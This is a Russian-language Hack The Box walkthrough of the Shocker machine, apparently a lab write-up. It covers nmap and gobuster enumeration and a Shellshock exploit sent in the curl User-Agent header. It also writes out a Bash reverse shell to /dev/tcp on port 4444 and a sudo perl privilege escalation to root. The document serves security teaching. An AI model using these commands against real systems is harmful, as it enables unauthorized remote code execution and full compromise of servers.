
Структурированное прохождение HTB, демонстрирующее эксплуатацию Shellshock (CVE-2014-6271) через подбор каталогов CGI и повышение привилегий через неправильно настроенные разрешения sudo Perl с использованием GTFOBins.
Структурированное и профессиональное прохождение, демонстрирующее выявление и ручную эксплуатацию критической уязвимости Shellshock, с последующим локальным повышением привилегий через неправильную конфигурацию sudo на целевом Linux.
10.10.10.56/usr/bin/perl)Оценка начинается с быстрого полнопортного TCP SYN-сканирования, нацеленного только на открытые порты (--open), с пропуском обнаружения хостов (-Pn) и разрешения DNS (-n) для ускорения сбора информации.
nmap -Pn -n -p- -sS --min-rate 5000 --open 10.10.10.56
Первичный обход выявляет два активных сервиса. Мы проводим вторичное целевое сканирование для агрессивного определения версий (-sCV) и оценки уязвимостей на основе скриптов:
nmap -sCV -p80,2222 --script="safe and vuln" 10.10.10.56
Параллельно со сканированием уязвимостей мы запускаем подбор веб-директорий с помощью gobuster для картографирования скрытых ресурсов на Apache. Используем стандартный список слов из фреймворка SecLists:
gobuster dir -u [http://10.10.10.56/](http://10.10.10.56/) -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt -t 20
Процесс фаззинга обнаруживает неиндексированную директорию /cgi-bin/. В устаревших веб-развёртываниях серверы Apache используют Common Gateway Interface (CGI) для выполнения серверных скриптов. Учитывая название машины и наличие этой папки, мы активно ищем исполняемые скрипты (например, .sh, .cgi), которые могут быть подвержены ошибкам инъекции переменных окружения.
Дальнейшая разведка выявляет скрипт с именем user.sh, находящийся внутри директории /cgi-bin/.
Уязвимость Shellshock (CVE-2014-6271) позволяет злоумышленникам выполнять произвольные команды операционной системы путём внедрения вредоносных определений функций в заголовки HTTP-запросов (например, User-Agent), обрабатываемые уязвимыми экземплярами Bash.
Мы создаём настраиваемую команду curl для отправки доказательства концепции (PoC), предназначенного для принудительного выполнения команды /usr/bin/id на удалённой системе:
curl -H "User-Agent: () { :; }; echo; /usr/bin/id" [http://10.10.10.56/cgi-bin/user.sh](http://10.10.10.56/cgi-bin/user.sh)
id, что подтверждает удалённое выполнение кода (RCE) без аутентификации, подобное аутентифицированному.Чтобы перевести наш вектор выполнения в интерактивный сеанс, мы устанавливаем локальный слушатель Netcat на платформе атаки:
nc -lvnp 4444
Затем вставляем строку обратной оболочки Bash в вредоносный заголовок User-Agent, чтобы принудительно вызвать обратный вызов через TCP:
curl -H "User-Agent: () { :; }; echo; /bin/bash -i >& /dev/tcp/<YOUR_TUN0_IP>/4444 0>&1" [http://10.10.10.56/cgi-bin/user.sh](http://10.10.10.56/cgi-bin/user.sh)
После успешного выполнения мы получаем стабильную оболочку с низкими привилегиями:
$ whoami
shelly
Имея функциональный контекст пользователя в системе, мы проверяем наши локальные ограничения. Мы запрашиваем конфигурацию sudo, чтобы определить, авторизован ли пользователь shelly для выполнения команд с повышенными привилегиями без ввода пароля:
sudo -l
В выводе обнаруживается следующая запись высокого риска:
User shelly may run the following commands on shocker:
(root) NOPASSWD: /usr/bin/perl
Поскольку у нас есть неограниченный, неаутентифицированный доступ к выполнению бинарного файла perl от имени root, мы можем легко обойти ограничения бинарного файла. Сверяясь с GTFOBins, мы находим обёртку выполнения, которая указывает Perl перейти в родную системную оболочку (/bin/sh), сохраняя контекст идентификации выполнения (root):
sudo -u root perl -e 'exec "/bin/sh"'
Мы немедленно достигаем полного административного контекста выполнения:
# whoami
root
Теперь, когда установлен root-доступ, мы переходим в соответствующие домашние каталоги для получения доказательств компрометации.
# Access User Flag
cat /home/shelly/user.txt
# Access Root Flag
cat /root/root.txt
perl, python или bash через sudo, создаёт мгновенные векторы повышения привилегий. Доступ через sudo должен быть ограничен неинтерактивными, строго контролируемыми административными сценариями.